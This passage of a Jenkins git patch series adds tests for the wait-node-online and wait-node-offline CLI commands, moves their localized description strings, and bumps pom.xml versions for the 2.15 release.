OfflineNodeCommand.ShortDescription=\u66ab\u6642\u4e0d\u4f7f\u7528\u6307\u5b9a\u7bc0\u9ede\u4f86\u5efa\u7f6e\uff0c\u76f4\u5230\u57f7\u884c "online-node" \u6307\u4ee4\u70ba\u6b62\u3002 +WaitNodeOnlineCommand.ShortDescription=\u7b49\u5019\u6307\u5b9a\u7bc0\u9ede\u4e0a\u7dda\u3002 +WaitNodeOfflineCommand.ShortDescription=\u7b49\u5019\u6307\u5b9a\u7bc0\u9ede\u96e2\u7dda\u3002 diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index c2a1574cfb..f6d08fbd1f 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -95,8 +95,6 @@ CLI.clear-queue.shortDescription=Clears the build queue. CLI.disable-job.shortDescription=Disables a job. CLI.enable-job.shortDescription=Enables a job. CLI.online-node.shortDescription=Resume using a node for performing builds, to cancel out the earlier "offline-node" command. -CLI.wait-node-online.shortDescription=Wait for a node to become online. -CLI.wait-node-offline.shortDescription=Wait for a node to become offline. Computer.Caption=Agent {0} Computer.NoSuchSlaveExists=No such agent "{0}" exists. Did you mean "{1}"? diff --git a/core/src/main/resources/hudson/model/Messages_bg.properties b/core/src/main/resources/hudson/model/Messages_bg.properties index 19ce0ac210..106bf1d055 100644 --- a/core/src/main/resources/hudson/model/Messages_bg.properties +++ b/core/src/main/resources/hudson/model/Messages_bg.properties @@ -148,10 +148,6 @@ CLI.delete-node.shortDescription=\ CLI.online-node.shortDescription=\ \u041e\u0442\u043d\u043e\u0432\u043e \u0434\u0430 \u0441\u0435 \u043f\u043e\u043b\u0437\u0432\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0438\u044f. \u041e\u0442\u043c\u0435\u043d\u044f\u043d\u0435 \u043d\u0430 \u043f\u0440\u0435\u0434\u0445\u043e\u0434\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\ \u201eoffline-node\u201c. -CLI.wait-node-online.shortDescription=\ - \u0418\u0437\u0447\u0430\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0434\u0430 \u0435 \u043d\u0430 \u043b\u0438\u043d\u0438\u044f. -CLI.wait-node-offline.shortDescription=\ - \u0418\u0437\u0447\u0430\u043a\u0432\u0430\u043d\u0435 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0430 \u0434\u0430 \u043d\u0435 \u0435 \u043d\u0430 \u043b\u0438\u043d\u0438\u044f. ComputerSet.DisplayName=\ \u041a\u043e\u043c\u043f\u044e\u0442\u0440\u0438 diff --git a/core/src/main/resources/hudson/model/Messages_es.properties b/core/src/main/resources/hudson/model/Messages_es.properties index ff4cbe2688..d1f693619d 100644 --- a/core/src/main/resources/hudson/model/Messages_es.properties +++ b/core/src/main/resources/hudson/model/Messages_es.properties @@ -284,8 +284,6 @@ ResultTrend.Aborted=Cancelado TextParameterDefinition.DisplayName=Parmetro de texto AbstractProject.AssignedLabelString_NoMatch_DidYouMean=No hay ningn nodo que cumpla esta asignacin. Quizs se refiera a ''{1}'' en lugar de ''{0}''? ResultTrend.Success=Correcto -CLI.wait-node-online.shortDescription=Esperando hasta que el nodo est activado -CLI.wait-node-offline.shortDescription=Esperando a que el nodo est desactivado AbstractProject.CancelPermission.Description=Este permiso permite que se pueda cancelar un trabajo. Run.Summary.NotBuilt=no se ha ejecutado AbstractProject.DiscoverPermission.Description=Este permiso garantiza que se pueda descubrir tareas. \ diff --git a/core/src/main/resources/hudson/model/Messages_it.properties b/core/src/main/resources/hudson/model/Messages_it.properties index 2cd2acf307..8458a59a89 100644 --- a/core/src/main/resources/hudson/model/Messages_it.properties +++ b/core/src/main/resources/hudson/model/Messages_it.properties @@ -73,14 +73,10 @@ BallColor.Unstable=Instabile CLI.disable-job.shortDescription=Disabilita un job CLI.enable-job.shortDescription=Abilita un job CLI.online-node.shortDescription=Resume using a node for performing builds, to cancel out the earlier "offline-node" command. -CLI.wait-node-online.shortDescription=Attende che il nodo sia attivo -CLI.wait-node-offline.shortDescription=Attende che un nodo sia disattivo - ComputerSet.DisplayName=nodes Executor.NotAvailable=N/A - FreeStyleProject.DisplayName=Configura una build di tipo generico FreeStyleProject.Description=Questa \u00E8 la funzione principale di Jenkins. Jenkins effettuer\u00E0 una compilazione del progetto, combinando qualsiasi SCM con qualsiasi sistema di compilazione e si pu\u00F2 usare anche per qualcosa di altro che non sia un programma di compilazione. diff --git a/core/src/main/resources/hudson/model/Messages_ja.properties b/core/src/main/resources/hudson/model/Messages_ja.properties index e9aea8f9d6..3d51ee20c7 100644 --- a/core/src/main/resources/hudson/model/Messages_ja.properties +++ b/core/src/main/resources/hudson/model/Messages_ja.properties @@ -295,8 +295,6 @@ CLI.clear-queue.shortDescription=\u30d3\u30eb\u30c9\u30ad\u30e5\u30fc\u3092\u30a CLI.disable-job.shortDescription=\u30b8\u30e7\u30d6\u3092\u7121\u52b9\u5316\u3057\u307e\u3059\u3002 CLI.enable-job.shortDescription=\u30b8\u30e7\u30d6\u3092\u6709\u52b9\u5316\u3057\u307e\u3059\u3002 CLI.online-node.shortDescription=\u76f4\u524d\u306b\u5b9f\u884c\u3057\u305f"online-node"\u30b3\u30de\u30f3\u30c9\u3092\u53d6\u308a\u6d88\u3057\u3001\u30d3\u30eb\u30c9\u3092\u5b9f\u884c\u3059\u308b\u30ce\u30fc\u30c9\u306e\u4f7f\u7528\u3092\u518d\u958b\u3057\u307e\u3059\u3002 -CLI.wait-node-online.shortDescription=\u30ce\u30fc\u30c9\u304c\u30aa\u30f3\u30e9\u30a4\u30f3\u306b\u306a\u308b\u306e\u3092\u5f85\u3061\u307e\u3059\u3002 -CLI.wait-node-offline.shortDescription=\u30ce\u30fc\u30c9\u304c\u30aa\u30d5\u30e9\u30a4\u30f3\u306b\u306a\u308b\u306e\u3092\u5f85\u3061\u307e\u3059\u3002 BuildAuthorizationToken.InvalidTokenProvided=\u8a8d\u8a3c\u30c8\u30fc\u30af\u30f3\u304c\u9593\u9055\u3063\u3066\u3044\u307e\u3059\u3002 ManageJenkinsAction.DisplayName=Jenkins\u306e\u7ba1\u7406 diff --git a/core/src/main/resources/hudson/model/Messages_lt.properties b/core/src/main/resources/hudson/model/Messages_lt.properties index 13bb1cad49..6be646658f 100644 --- a/core/src/main/resources/hudson/model/Messages_lt.properties +++ b/core/src/main/resources/hudson/model/Messages_lt.properties @@ -70,8 +70,6 @@ CLI.clear-queue.shortDescription=I\u0161valo vykdymo eil\u0119. CLI.disable-job.shortDescription=I\u0161jungia darb\u0105. CLI.enable-job.shortDescription=\u012ejungia darb\u0105. CLI.disconnect-node.shortDescription=Atsijungia nuo mazgo. -CLI.wait-node-online.shortDescription=Laukti, kol mazgas prisijungs. -CLI.wait-node-offline.shortDescription=Laukti, kol mazgas atsijungs. Computer.Caption=Agentas {0} Computer.NoSuchSlaveExists=N\u0117ra tokio agento \u201e{0}\u201c. Ar tur\u0117jote omeny \u201e{1}\u201c? diff --git a/core/src/main/resources/hudson/model/Messages_pt_BR.properties b/core/src/main/resources/hudson/model/Messages_pt_BR.properties index 8e837a6441..4ed07299f1 100644 --- a/core/src/main/resources/hudson/model/Messages_pt_BR.properties +++ b/core/src/main/resources/hudson/model/Messages_pt_BR.properties @@ -347,8 +347,6 @@ AbstractProject.WorkspaceTitle=Workspace de {0} UpdateCenter.PluginCategory.listview-column=Lista as colunas da view # {0} is waiting for a checkpoint on {1} Run._is_waiting_for_a_checkpoint_on_={0} est\u00e1 aguardando por um checkpoint em {1} -# Wait for a node to become offline. -CLI.wait-node-offline.shortDescription=Aguarde por um n\u00f3 ficar offline. # \ in workspace {0} AbstractBuild.BuildingInWorkspace=\ no workspace {0} # Jenkins is restarting @@ -439,8 +437,6 @@ AbstractProject.CancelPermission.Description=Esta permiss\u00e3o deixa que seja Jenkins.CheckDisplayName.NameNotUniqueWarning=O nome de exibi\u00e7\u00e3o "{0}", \u00e9 usado por um job e pode causar confus\u00e3o nos resultados da pesquisa. # Custom workspace is empty. AbstractProject.CustomWorkspaceEmpty=O workspace customizado est\u00e1 vazio. -# Wait for a node to become online. -CLI.wait-node-online.shortDescription=Aguarda por um n\u00f3 que se torne online # Artifacts of {0} {1} Run.ArtifactsBrowserTitle=Artefatos de {0} {1} # Build with Parameters diff --git a/core/src/main/resources/hudson/model/Messages_zh_TW.properties b/core/src/main/resources/hudson/model/Messages_zh_TW.properties index 011fdf5d31..2ffc39e21f 100644 --- a/core/src/main/resources/hudson/model/Messages_zh_TW.properties +++ b/core/src/main/resources/hudson/model/Messages_zh_TW.properties @@ -80,9 +80,6 @@ CLI.disable-job.shortDescription=\u505c\u7528\u4f5c\u696d\u3002 CLI.enable-job.shortDescription=\u555f\u7528\u4f5c\u696d\u3002 CLI.disconnect-node.shortDescription=\u4e2d\u65b7\u8207\u6307\u5b9a\u7bc0\u9ede\u7684\u9023\u7dda\u3002 CLI.online-node.shortDescription=\u7e7c\u7e8c\u4f7f\u7528\u6307\u5b9a\u7bc0\u9ede\u4f86\u5efa\u7f6e\uff0c\u53d6\u6d88\u5148\u524d\u7684 "offline-node" \u6307\u4ee4\u3002 -CLI.wait-node-online.shortDescription=\u7b49\u5019\u6307\u5b9a\u7bc0\u9ede\u4e0a\u7dda\u3002 -CLI.wait-node-offline.shortDescription=\u7b49\u5019\u6307\u5b9a\u7bc0\u9ede\u96e2\u7dda\u3002 - ComputerSet.DisplayName=\u7bc0\u9ede @@ -90,14 +87,12 @@ Descriptor.From=(from {0}) Executor.NotAvailable=N/A - FreeStyleProject.DisplayName=\u5efa\u7f6e Free-Style \u8edf\u9ad4\u5c08\u6848 FreeStyleProject.Description=\ \u9019\u662f Jenkins \u7684\u4e3b\u8981\u529f\u80fd\u3002\ Jenkins \u80fd\u642d\u914d\u5404\u5f0f\u7a0b\u5f0f\u78bc\u7ba1\u7406\u3001\u5efa\u7f6e\u7cfb\u7d71\u4f86\u5efa\u7f6e\u60a8\u7684\u5c08\u6848\uff0c\ \u751a\u81f3\u9084\u80fd\u505a\u8edf\u9ad4\u5efa\u7f6e\u4ee5\u5916\u7684\u5176\u4ed6\u4e8b\u60c5\u3002 - Hudson.BadPortNumber=\u9023\u63a5\u57e0\u865f {0} \u7121\u6548 Hudson.Computer.Caption=Master Hudson.Computer.DisplayName=master diff --git a/test/src/test/java/hudson/cli/WaitNodeOfflineCommandTest.java b/test/src/test/java/hudson/cli/WaitNodeOfflineCommandTest.java new file mode 100644 index 0000000000..19fb107320 --- /dev/null +++ b/test/src/test/java/hudson/cli/WaitNodeOfflineCommandTest.java @@ -0,0 +1,157 @@ +/* + * The MIT License + * + * Copyright 2016 Red Hat, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * @author pjanouse + */ + +package hudson.cli; + +import hudson.slaves.DumbSlave; +import jenkins.model.Jenkins; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import java.util.concurrent.Callable; +import java.util.concurrent.FutureTask; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import static hudson.cli.CLICommandInvoker.Matcher.failedWith; +import static hudson.cli.CLICommandInvoker.Matcher.hasNoStandardOutput; +import static hudson.cli.CLICommandInvoker.Matcher.succeededSilently; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; +import static org.junit.Assert.fail; + +public class WaitNodeOfflineCommandTest { + + private CLICommandInvoker command; + + @Rule + public final JenkinsRule j = new JenkinsRule(); + + @Before + public void setUp() { + command = new CLICommandInvoker(j, "wait-node-offline"); + } + + @Test + public void waitNodeOfflineShouldFailIfNodeDoesNotExist() throws Exception { + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("never_created"); + assertThat(result, failedWith(3)); + assertThat(result, hasNoStandardOutput()); + assertThat(result.stderr(), containsString("ERROR: No such node 'never_created'")); + } + + @Test + public void waitNodeOfflineShouldSucceedOnOfflineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().setTemporarilyOffline(true); + while (true) { + if(slave.toComputer().isOffline()) + break; + Thread.sleep(100); + } + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + } + + @Test + public void waitNodeOfflineShouldSucceedOnGoingOfflineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().setTemporarilyOffline(true); + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + } + + @Test + public void waitNodeOfflineShouldSucceedOnDisconnectedNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().disconnect(); + while (true) { + if(slave.toComputer().isOffline()) + break; + Thread.sleep(100); + } + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + } + + @Test + public void waitNodeOfflineShouldSucceedOnDisconnectingNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().disconnect(); + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOffline(), equalTo(true)); + } + + @Test + public void waitNodeOfflineShouldTimeoutOnOnlineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + boolean timeoutOccurred = false; + + FutureTask task = new FutureTask(new Callable() { + public Object call() { + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + fail("Never should return from previous CLI call!"); + return null; + } + }); + try { + task.get(30, TimeUnit.SECONDS); + } catch (TimeoutException e) { + timeoutOccurred = true; + } finally { + task.cancel(true); + } + + if(!timeoutOccurred) + fail("Missing timeout for CLI call"); + } +} diff --git a/test/src/test/java/hudson/cli/WaitNodeOnlineCommandTest.java b/test/src/test/java/hudson/cli/WaitNodeOnlineCommandTest.java new file mode 100644 index 0000000000..09a5aafb7c --- /dev/null +++ b/test/src/test/java/hudson/cli/WaitNodeOnlineCommandTest.java @@ -0,0 +1,182 @@ +/* + * The MIT License + * + * Copyright 2016 Red Hat, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * @author pjanouse + */ + +package hudson.cli; + +import hudson.slaves.DumbSlave; +import jenkins.model.Jenkins; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import java.util.concurrent.Callable; +import java.util.concurrent.FutureTask; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import static hudson.cli.CLICommandInvoker.Matcher.failedWith; +import static hudson.cli.CLICommandInvoker.Matcher.hasNoStandardOutput; +import static hudson.cli.CLICommandInvoker.Matcher.succeededSilently; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; +import static org.junit.Assert.fail; + +public class WaitNodeOnlineCommandTest { + + private CLICommandInvoker command; + + @Rule + public final JenkinsRule j = new JenkinsRule(); + + @Before + public void setUp() { + command = new CLICommandInvoker(j, "wait-node-online"); + } + + @Test + public void waitNodeOnlineShouldFailIfNodeDoesNotExist() throws Exception { + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("never_created"); + assertThat(result, failedWith(3)); + assertThat(result, hasNoStandardOutput()); + assertThat(result.stderr(), containsString("ERROR: No such node 'never_created'")); + } + + @Test + public void waitNodeOnlineShouldSucceedOnGoingOnlineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOnline(), equalTo(true)); + } + + @Test + public void waitNodeOnlineShouldTimeoutOnGoingOfflineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().setTemporarilyOffline(true); + + boolean timeoutOccurred = false; + FutureTask task = new FutureTask(new Callable() { + public Object call() { + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + fail("Never should return from previous CLI call!"); + return null; + } + }); + try { + task.get(30, TimeUnit.SECONDS); + } catch (TimeoutException e) { + timeoutOccurred = true; + } finally { + task.cancel(true); + } + + if(!timeoutOccurred) + fail("Missing timeout for CLI call"); + } + + @Test + public void waitNodeOnlineShouldTimeoutOnDisconnectedNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().disconnect(); + slave.toComputer().waitUntilOffline(); + + boolean timeoutOccurred = false; + FutureTask task = new FutureTask(new Callable() { + public Object call() { + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + fail("Never should return from previous CLI call!"); + return null; + } + }); + try { + task.get(30, TimeUnit.SECONDS); + } catch (TimeoutException e) { + timeoutOccurred = true; + } finally { + task.cancel(true); + } + + if(!timeoutOccurred) + fail("Missing timeout for CLI call"); + } + + @Test + public void waitNodeOnlineShouldTimeoutOnDisconnectingNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().disconnect(); + + boolean timeoutOccurred = false; + FutureTask task = new FutureTask(new Callable() { + public Object call() { + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + fail("Never should return from previous CLI call!"); + return null; + } + }); + try { + task.get(30, TimeUnit.SECONDS); + } catch (TimeoutException e) { + timeoutOccurred = true; + } finally { + task.cancel(true); + } + + if(!timeoutOccurred) + fail("Missing timeout for CLI call"); + } + + @Test + public void waitNodeOnlineShouldSuccessOnOnlineNode() throws Exception { + DumbSlave slave = j.createSlave("aNode", "", null); + slave.toComputer().waitUntilOnline(); + while (true) { + if(slave.toComputer().isOnline()) + break; + Thread.sleep(100); + } + + final CLICommandInvoker.Result result = command + .authorizedTo(Jenkins.READ) + .invokeWithArgs("aNode"); + assertThat(result, succeededSilently()); + assertThat(slave.toComputer().isOnline(), equalTo(true)); + } +} -- GitLab From 538dba39c732fc2884f6e3b9c9743e8f6135fef2 Mon Sep 17 00:00:00 2001 From: "Ing. Pavel Janousek" Date: Thu, 9 Jun 2016 12:58:16 +0200 Subject: [PATCH 108/811] Removed unnecessary empty line --- core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java | 1 - core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java | 1 - 2 files changed, 2 deletions(-) diff --git a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java index 4c1139e484..161fe1879d 100644 --- a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java +++ b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java @@ -39,7 +39,6 @@ public class WaitNodeOfflineCommand extends CLICommand { @Override public String getShortDescription() { - return Messages.WaitNodeOfflineCommand_ShortDescription(); } diff --git a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java index 10083d8dc6..fa33bdd17d 100644 --- a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java +++ b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java @@ -39,7 +39,6 @@ public class WaitNodeOnlineCommand extends CLICommand { @Override public String getShortDescription() { - return Messages.WaitNodeOnlineCommand_ShortDescription(); } -- GitLab From 95e662f41c0cbcfc3206f080a6db88bb0505dc2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Fri, 22 Jul 2016 09:44:56 +0200 Subject: [PATCH 109/811] Fix version number --- cli/pom.xml | 2 +- core/pom.xml | 2 +- test/pom.xml | 2 +- war/pom.xml | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 0dab604b7f..bcc8ef32a9 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7.1 + 2.7.2-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index b4b357f6f4..8906f6ce33 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1 + 2.7.2-SNAPSHOT jenkins-core diff --git a/test/pom.xml b/test/pom.xml index e87a4f4cc3..378d20339b 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1 + 2.7.2-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 0974f9ad9c..ef7525da0c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1 + 2.7.2-SNAPSHOT jenkins-war -- GitLab From 13c8971c945364be6b6efba49053cbbbd9497d2b Mon Sep 17 00:00:00 2001 From: Manuel Recena Date: Fri, 22 Jul 2016 19:44:26 +0200 Subject: [PATCH 110/811] Do not force the representation --- .../main/resources/hudson/model/Messages_fr.properties | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/model/Messages_fr.properties b/core/src/main/resources/hudson/model/Messages_fr.properties index f9d5295135..30e1b2e65b 100644 --- a/core/src/main/resources/hudson/model/Messages_fr.properties +++ b/core/src/main/resources/hudson/model/Messages_fr.properties @@ -1,17 +1,17 @@ # The MIT License -# +# # Copyright (c) 2004-2009, Sun Microsystems, Inc., Kohsuke Kawaguchi, Eric Lefevre-Ardant, Damien Finck -# +# # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: -# +# # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. -# +# # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE @@ -55,7 +55,7 @@ Executor.NotAvailable=N/A FreeStyleProject.DisplayName=Construire un projet free-style -FreeStyleProject.Description=Ceci est la fonction principale de Jenkins qui sert \u00E0 builder (construire) votre projet.
    Vous pouvez int\u00E9grer tous les outils de gestion de version avec tous les syst\u00E8mes de build.
    Il est m\u00EAme possible d''utiliser Jenkins pour tout autre chose qu''un build logiciel. +FreeStyleProject.Description=Ceci est la fonction principale de Jenkins qui sert \u00E0 builder (construire) votre projet. Vous pouvez int\u00E9grer tous les outils de gestion de version avec tous les syst\u00E8mes de build. Il est m\u00EAme possible d''utiliser Jenkins pour tout autre chose qu''un build logiciel. Hudson.BadPortNumber=Num\u00e9ro de port incorrect {0} Hudson.Computer.Caption=Ma\u00eetre -- GitLab From ae59dde643367c90ec4427490b841db9570e32ad Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 24 Jul 2016 15:29:58 -0700 Subject: [PATCH 111/811] [maven-release-plugin] prepare release jenkins-2.15 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 7fca7c71d6..88b5b323af 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.15-SNAPSHOT + 2.15 cli diff --git a/core/pom.xml b/core/pom.xml index c8c368b0c4..1f213bdf54 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15-SNAPSHOT + 2.15 jenkins-core diff --git a/pom.xml b/pom.xml index 2ee0f0b833..b2c001aa6b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15-SNAPSHOT + 2.15 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.15 diff --git a/test/pom.xml b/test/pom.xml index 05cbb181db..172ce59302 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15-SNAPSHOT + 2.15 test diff --git a/war/pom.xml b/war/pom.xml index 3490b4a3ae..4dbf16a88d 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15-SNAPSHOT + 2.15 jenkins-war -- GitLab From 3aee361e530ba7a8e0ef8e4dc273d6e6b58267d2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 24 Jul 2016 15:29:58 -0700 Subject: [PATCH 112/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 88b5b323af..36c2b0ec06 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.15 + 2.16-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 1f213bdf54..c2539d94b8 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15 + 2.16-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index b2c001aa6b..f5eee45f9f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15 + 2.16-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.15 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 172ce59302..384daa39a4 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15 + 2.16-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 4dbf16a88d..7d63edd576 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.15 + 2.16-SNAPSHOT jenkins-war -- GitLab From c04edbe2024bda9946a243ab3e4f151cd6446158 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 24 Jul 2016 15:35:56 -0700 Subject: [PATCH 113/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff 